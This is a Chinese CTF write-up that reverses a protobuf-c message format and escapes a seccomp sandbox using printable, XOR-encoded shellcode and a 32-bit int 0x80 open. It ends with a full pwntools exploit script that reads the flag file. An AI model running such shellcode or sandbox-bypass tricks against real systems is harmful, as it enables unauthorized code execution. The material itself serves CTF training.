例题来源于源鲁杯第一轮pwn
的困难题,向程序发送了msg
之后会判定是否符合proto
结构,符合则开启沙箱仅允许执行read、write、fstat、alarm、exit_group
,并执行msg
里的shellcode
,shellcode
要求范围在可见字符且长度不大于0xc7
protobuf结构体
前置基础
protobuf结构体/proto文件示例
protobuf
结构体示例:device.proto
,由protobuf
版本(proto2 / proto3
)和protobuf
结构体构成
1 2 3 4 5 6 7 8
| syntax = "proto2";
message devicemsg { required sint64 actionid = 1; required sint64 msgidx = 2; required sint64 msgsize = 3; required bytes msgcontent = 4; }
|
protobuf参数的结构体定义
protobuf
参数的结构体定义如下,其中需要注意的是前四项,在.data.rel.ro
段中可以看到每个参数的结构体,根据结构体中的值判断参数类型等信息,从而分析得到protobuf
结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| struct ProtobufCFieldDescriptor { const char *name; uint32_t id; ProtobufCLabel label; ProtobufCType type; unsigned quantifier_offset; unsigned offset; const void *descriptor; const void *default_value; uint32_t flags; unsigned reserved_flags; void *reserved2; void *reserved3; };
|
以示例中的required sint64 actionid = 1;
为例,分别对应结构体前四项:name
值为actionid
,id
值为1
,label
值为required
,type
值为sint64
,即在编写proto
文件时是按照label type name = id
的顺序写的
label
存在以下类型,即required
、optional
、repeated
、none
,从单词含义也能看出对应什么类型,他们表现在.data.rel.ro
中的数值是按枚举顺序0-3
,**只有版本为proto2
时才需要考虑label
**,proto3
的label
都是none
(即数值为3
)且不需要在proto
文件中写出来
1 2 3 4 5 6
| typedef enum { PROTOBUF_C_LABEL_REQUIRED, PROTOBUF_C_LABEL_OPTIONAL, PROTOBUF_C_LABEL_REPEATED, PROTOBUF_C_LABEL_NONE, } ProtobufCLabel;
|
type
存在以下类型,他们表现在.data.rel.ro
中的数值是按枚举顺序0-0x10
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| typedef enum { PROTOBUF_C_TYPE_INT32, PROTOBUF_C_TYPE_SINT32, PROTOBUF_C_TYPE_SFIXED32, PROTOBUF_C_TYPE_INT64, PROTOBUF_C_TYPE_SINT64, PROTOBUF_C_TYPE_SFIXED64, PROTOBUF_C_TYPE_UINT32, PROTOBUF_C_TYPE_FIXED32, PROTOBUF_C_TYPE_UINT64, PROTOBUF_C_TYPE_FIXED64, PROTOBUF_C_TYPE_FLOAT, PROTOBUF_C_TYPE_DOUBLE, PROTOBUF_C_TYPE_BOOL, PROTOBUF_C_TYPE_ENUM, PROTOBUF_C_TYPE_STRING, PROTOBUF_C_TYPE_BYTES, PROTOBUF_C_TYPE_MESSAGE, } ProtobufCType;
|
判定protobuf版本
编译proto文件
使用python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. filename.proto
来编译filename.proto
,需要先安装grpcio-tools
,编译后得到filename_pb2.py
和filename_pb2_grpc.py
,编译后在exp
中导入filename_pb2
即可使用结构体来发送消息
编译后的结构体会比原结构体多ProtobufCMessage base;
,ProtobufCMessage
结构体定义如下:
1 2 3 4 5
| struct ProtobufCMessage { const ProtobufCMessageDescriptor *descriptor; unsigned n_unknown_fields; ProtobufCMessageUnknownField *unknown_fields; };
|
所以编译后我们定义的参数在数组中的下标是从3
开始的
使用pbtk获取protobuf结构体
工具地址:https://github.com/marin-m/pbtk
使用工具可以快速获取protobuf
结构体省去手搓proto
文件的麻烦,安装的时候有报错可以直接问gpt
解决,但是有的题目被作者刻意隐藏了protobuf
特征而无法用工具梭,还是需要手搓
结构体分析
在IDA
中找到了_data_rel_ro
段,name
在;
右边,下面第一个数值为id
,2-5
是label
,6-9
是type
,对应枚举中的类型可以得到结构体参数的类型,这里一共有msgid
、msgsize
、msgcontent
三个参数,而qword_3C60
结构体名称下面的结构体参数数量也是3
,所以protobuf
版本为proto3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| .data.rel.ro:0000000000003B80 _data_rel_ro segment align_32 public 'DATA' use64 .data.rel.ro:0000000000003B80 assume cs:_data_rel_ro .data.rel.ro:0000000000003B80 ;org 3B80h .data.rel.ro:0000000000003B80 off_3B80 dq offset aMsgid ; DATA XREF: .data.rel.ro:0000000000003C98↓o .data.rel.ro:0000000000003B80 ; "msgid" .data.rel.ro:0000000000003B88 db 1#id=1 .data.rel.ro:0000000000003B89 db 0 .data.rel.ro:0000000000003B8A db 0 .data.rel.ro:0000000000003B8B db 0 .data.rel.ro:0000000000003B8C db 3#label=none .data.rel.ro:0000000000003B8D db 0 .data.rel.ro:0000000000003B8E db 0 .data.rel.ro:0000000000003B8F db 0 .data.rel.ro:0000000000003B90 db 3#type=int64 ... .data.rel.ro:0000000000003BC8 dq offset aMsgsize ; "msgsize" .data.rel.ro:0000000000003BD0 db 2#id=2 .data.rel.ro:0000000000003BD1 db 0 .data.rel.ro:0000000000003BD2 db 0 .data.rel.ro:0000000000003BD3 db 0 .data.rel.ro:0000000000003BD4 db 3#label=none .data.rel.ro:0000000000003BD5 db 0 .data.rel.ro:0000000000003BD6 db 0 .data.rel.ro:0000000000003BD7 db 0 .data.rel.ro:0000000000003BD8 db 3#type=int64 ... .data.rel.ro:0000000000003C10 dq offset aMsgcontent ; "msgcontent" .data.rel.ro:0000000000003C18 db 3#id=3 .data.rel.ro:0000000000003C19 db 0 .data.rel.ro:0000000000003C1A db 0 .data.rel.ro:0000000000003C1B db 0 .data.rel.ro:0000000000003C1C db 3#label=none .data.rel.ro:0000000000003C1D db 0 .data.rel.ro:0000000000003C1E db 0 .data.rel.ro:0000000000003C1F db 0 .data.rel.ro:0000000000003C20 db 0Fh#type=bytes ... .data.rel.ro:0000000000003C60 qword_3C60 dq 28AAEEF9h ; DATA XREF: sub_1819+10↑o .data.rel.ro:0000000000003C60 ; sub_187D+17↑o ... .data.rel.ro:0000000000003C68 dq offset aBotMsgbot ; "bot.msgbot" .data.rel.ro:0000000000003C70 dq offset aMsgbot ; "Msgbot" .data.rel.ro:0000000000003C78 dq offset aBotMsgbot_0 ; "Bot__Msgbot" .data.rel.ro:0000000000003C80 dq offset aBot ; "bot" .data.rel.ro:0000000000003C88 dq 38h#结构体大小 .data.rel.ro:0000000000003C90 dq 3#字段数=实际字段数,是proto3 .data.rel.ro:0000000000003C98 dq offset off_3B80 ; "msgid" .data.rel.ro:0000000000003CA0 dq offset unk_20A0 .data.rel.ro:0000000000003CA8 dq 1 .data.rel.ro:0000000000003CB0 dq offset unk_20B0 .data.rel.ro:0000000000003CB8 dq offset sub_1819 ... .data.rel.ro:0000000000003D17 _data_rel_ro ends .data.rel.ro:0000000000003D17
|
编写和编译proto文件
根据以上分析编写bot.proto
内容如下
1 2 3 4 5 6 7
| syntax = "proto3";
message Msgbot{ int64 msgid = 1; int64 msgsize = 2; bytes msgcontent = 3; }
|
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. bot.proto
编译得到bot_pb2.py
和bot_pb2_grpc.py
,在exp
中导入bot_pb2
即可使用bot_pb2
中的Msgbot
来发送题目特定格式的消息,需要注意的是发送前需要先用SerializeToString
序列化
1 2 3 4 5 6 7 8 9 10
| from bot_pb2 import Msgbot import grpc
msg = Msgbot() msg.msgid = id msg.msgsize = size msg.msgcontent = content serialized = msg.SerializeToString()
r.sendafter(b'botmsg', serialized)
|
程序分析
在发送的消息能被正确接收之后当msg[0][3] == (void *)0xC0DEFEEDLL
且msg[0][4] == (void *)0xF00DFACELL
、msg[0][5] <= 0xC7
时将msg[0] + 6
复制到dest
中作为shellcode
执行,msg[0][3]
就是msgid
,msg[0][4]
是msgsize
,msg[0] + 6
是msgcontent
,msg[0][5]
获取了msgcontent
的长度
1 2 3 4 5 6 7 8 9 10 11 12
| else if ( msg[0][3] == (void *)0xC0DEFEEDLL && msg[0][4] == (void *)0xF00DFACELL ) { v0 = (unsigned int)msg[0][5]; v1 = msg[0][6]; check((__int64)v1, v0); seccomp((__int64)v1, v0, v2, v3, v4, v5); if ( msg[0][5] <= (char *)&qword_C0 + 7 && v7 <= 0xC7 ) { memcpy(dest, *((const void **)msg[0] + 6), (size_t)msg[0][5]); ((void (*)(void))dest)(); } }
|
所以可以构造结构体如下
1 2 3 4 5 6 7 8 9 10
| from bot_pb2 import Msgbot import grpc
msg = Msgbot() msg.msgid = 0xC0DEFEED msg.msgsize = 0xF00DFACE msg.msgcontent = shellcode serialized = msg.SerializeToString()
r.sendafter(b'botmsg', serialized)
|
check
函数对shellcode
进行了检查,限制shellcode
在可见字符范围内
1 2 3 4 5 6 7 8 9 10 11
| for ( i = 0; ; ++i ) { result = i; if ( v3 <= i ) break; if ( *(char *)((int)i + a1) <= '\x1F' || *(_BYTE *)((int)i + a1) == '\x7F' ) { puts("Oops!"); exit(0); } }
|
写shellcode
调试shellcode
的时候用si
不要用ni
!!
检查沙箱
通过check
之后开启沙箱,所以要执行到发送正确的消息之后才能用seccomp-tools
查看沙箱情况,这里可以将process
的参数设置为seccomp-tools
即r = process(["seccomp-tools", "dump", "./pwn"])
,发送完msg
就会显示沙箱的情况
1 2 3 4 5 6 7 8 9 10 11 12
| line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0003 0002: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0009 0003: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0009 0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009 0005: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0009 0006: 0x15 0x02 0x00 0x00000025 if (A == alarm) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
|
这里限制了只能使用read write fstat alarm exit_group
,程序是64
位的,而fstat
在32
位中对应的函数就是open
,所以可以使用32
位的open
和64
位的read write
构造syscall
限制了可见字符且限制长度的情况下第一步就需要先构造一个read
无限制的再读一次,而syscall
的汇编字节是0x0f05
不在可见字符范围内,所以需要通过异或构造,需要注意端序问题,小端序要反过来写进去,即0x050f
,写在shellcode
末尾用来异或的数值也要反过来写,我选择的是0x66666963 ^ 0x66666c6c = 0x50f
,构造shellcode
如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| push 0x66666963 pop rsi xor qword ptr [rax + 0x20], rsi push rbx pop rdi xor al, 0x22 push rax pop rsi push 0x66666963 pop rdx push rbx pop rax push rax push rax push rax push rax push rax push rax \x6c\x6c\x66\x66
|
架构切换调用open
使用汇编指令retfq
切换架构,原理是改cs
寄存器,当cs
寄存器的值为0x33
时识别为64
位,当寄存器值位0x23
时识别位32
位,而retfq
指令相当于pop ip; pop cs
,所以需要先push cs
再push
需要执行的指令地址最后retfq
切换架构
不过其实我没切换直接写32
位的shellcode
用int 80
实现系统调用也能执行open
…shellcode
如下
1 2 3 4 5 6 7 8 9
| mov eax, 5 push ecx pop ebx mov dword ptr [ecx], 0x6c662f2e add ecx, 4 mov dword ptr [ecx], 0x6761 xor ecx, ecx xor edx, edx int 0x80
|
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| from pwn import * from bot_pb2 import Msgbot import grpc
context(arch='amd64', os='linux', log_level='debug')
file_name = './pwn'
li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')
debug = 0 if debug: r = remote('challenge.yuanloo.com', 21231) else: r = process(file_name)
elf = ELF(file_name)
def dbg(): gdb.attach(r)
''' push 0x66666963 pop rsi xor qword ptr [rax + 0x20], rsi push rbx pop rdi xor al, 0x22 push rax pop rsi push 0x66666963 pop rdx push rbx pop rax push rax push rax push rax push rax push rax push rax \x6c\x6c\x66\x66 '''
msgcontent = b'\x68\x63\x69\x66\x66\x5e\x48\x31\x70\x20\x53\x5f\x34\x22\x50\x5e\x68\x63\x69\x66\x66\x5a\x53\x58' + b'\x50' * 8 + b'\x6c\x6c\x66\x66'
msg = Msgbot() msg.msgid = 0xC0DEFEED msg.msgsize = 0xF00DFACE msg.msgcontent = msgcontent serialized = msg.SerializeToString()
r.sendafter(b'botmsg', serialized)
''' mov eax, 5 push ecx pop ebx mov dword ptr [ecx], 0x6c662f2e add ecx, 4 mov dword ptr [ecx], 0x6761 xor ecx, ecx xor edx, edx int 0x80 '''
shellcode = b"\xb8\x05\x00\x00\x00\x51\x5b\xc7\x01\x2e\x2f\x66\x6c\x83\xc1\x04\xc7\x01\x61\x67\x00\x00\x31\xc9\x31\xd2\xcd\x80" shellcode += asm(shellcraft.read(3, 'rsp', 0x30)) shellcode += asm(shellcraft.write(1, 'rsp',0x30))
r.send(shellcode)
r.interactive()
|